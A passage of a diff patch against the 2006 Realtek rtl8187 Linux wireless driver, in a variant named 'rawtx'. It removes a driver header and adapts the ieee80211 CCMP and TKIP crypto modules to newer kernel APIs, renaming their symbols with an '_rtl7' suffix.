256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod 2006-06-22 07:40:15.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod 2008-02-15 00:49:48.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-01-30 17:38:11.000000000 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-01-30 17:38:11.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-01-30 17:38:11.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, 